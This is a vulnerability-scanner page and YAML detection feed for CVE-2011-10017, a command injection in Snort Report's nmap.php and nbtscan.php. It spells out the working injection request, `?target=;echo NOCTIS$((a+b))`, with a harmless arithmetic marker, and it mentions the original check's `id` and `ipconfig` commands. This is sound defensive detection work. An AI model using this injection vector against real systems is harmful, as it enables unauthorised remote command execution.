Snort Report — 1 vulnerability check

noctis ships 1 vulnerability check for Snort Report, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Snort Report < 1.3.2 nmap.php / nbtscan.php Command Injection

CVECVE-2011-10017
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/snort-report/CVE-2011-10017.yaml

Detects the unauthenticated OS command injection in Snort Report before 1.3.2: the `target` GET parameter of nmap.php and nbtscan.php reaches a shell unsanitised. Confirmation injects `;echo NOCTIS$((a+b))` with per-run random operands and requires the shell-computed sum in the response.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{sr_url}}?target=%3Becho%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29
  3. Checks inj_resp.body for NOCTIS[0-9]{6,7} → finding QoD 97: Snort Report command injection confirmed via GET …?target=;echo NOCTIS$((…+…)): a shell evaluated the per-run arithmetic and the page retur…

References:

Feed source — tests/vulnerabilities/snort-report/CVE-2011-10017.yaml
# Snort Report < 1.3.2 — unauthenticated OS command injection through the
# `target` GET parameter of nmap.php and nbtscan.php (CVE-2011-10017).
#
# Ported from OpenVAS/Greenbone NVT `2010/gb_snortreport_cmd_exec_09_10.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100781, GPL-2.0-only).
#
# Both scripts splice `target` into the nmap / nbtscan shell command line and
# print the command output in the page (the Metasploit module
# exploit/multi/http/snortreport_exec reads its payload output back from the
# HTML, between <BR> lines). The NASL sends `nmap.php?target=;<cmd>` with the
# `exploit_commands()` list (`id`, `ipconfig`) and matches their output.
#
# Detection — in-band benign proof (QoD 97): the injected command is
# `echo NOCTIS$((<a>+<b>))` with a, b random 6-digit integers. Only a real
# shell evaluates the arithmetic, and the sum never appears in the request, so
# a page that reflects or filters the `target` value cannot show it. Nothing
# is written on the target.
#
# Deviations from the NASL (intentional, better coverage):
#   - Benign arithmetic marker instead of `id` / `ipconfig` output.
#   - nbtscan.php is probed too (same bug, same parameter — the NASL only
#     tries nmap.php).
#   - The NASL needs the prior Snort Report detection (install dir from the
#     KB); the feed tries the usual install locations itself (web root,
#     /snortreport, the versioned tarball directories, /snort) and the proof
#     is the identification.
uid: dd198add-eca6-46ae-b8fc-6927a9834abb
name: "Snort Report < 1.3.2 nmap.php / nbtscan.php Command Injection (CVE-2011-10017)"
description: |
  Detects the unauthenticated OS command injection in Snort Report before
  1.3.2: the `target` GET parameter of nmap.php and nbtscan.php reaches a shell
  unsanitised. Confirmation injects `;echo NOCTIS$((a+b))` with per-run random
  operands and requires the shell-computed sum in the response.
cves: [CVE-2011-10017]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [snort-report, snort, ids, php, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-10017"
  - "https://www.exploit-db.com/exploits/17947"
  - "https://www.vulncheck.com/advisories/snort-report-rce"

steps:
  # Per-run operands; marker = NOCTIS<a+b>.
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, marker: "NOCTIS" + (a + b) }
    store_as: proof

  # Every step from here on runs once per candidate script URL (loop group).
  # Pre-initialise the stored result so a failed request leaves no undefined
  # variable behind.
  - id: init-resp
    action: set_var
    var_name: inj_resp
    var_value: {status: 0, body: null}
    loop:
      over:
        - "/nmap.php"
        - "/nbtscan.php"
        - "/snortreport/nmap.php"
        - "/snortreport/nbtscan.php"
        - "/snortreport-1.3.1/nmap.php"
        - "/snortreport-1.3.1/nbtscan.php"
        - "/snortreport-1.3.2/nmap.php"
        - "/snortreport-1.3.2/nbtscan.php"
        - "/snort/nmap.php"
        - "/snort/nbtscan.php"
      var: sr_url

  # NASL request shape `?target=;<cmd>`, command swapped for the marker:
  #   %3B = ;   %20 = space   %24%28%28 = $((   %2B = +   %29%29 = ))
  - id: inject
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{sr_url}}?target=%3Becho%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: inj_resp

  - id: confirm
    action: match
    source: inj_resp.body
    pattern: "NOCTIS[0-9]{6,7}"
    condition: "inj_resp.status == 200 && type_of(inj_resp.body) == \"string\" && stridx(inj_resp.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Snort Report command injection confirmed via GET {{sr_url}}?target=;echo NOCTIS$(({{proof.a}}+{{proof.b}})): a shell evaluated the per-run arithmetic and the page returned {{proof.marker}}"
      stop: true

View these feeds on GitHub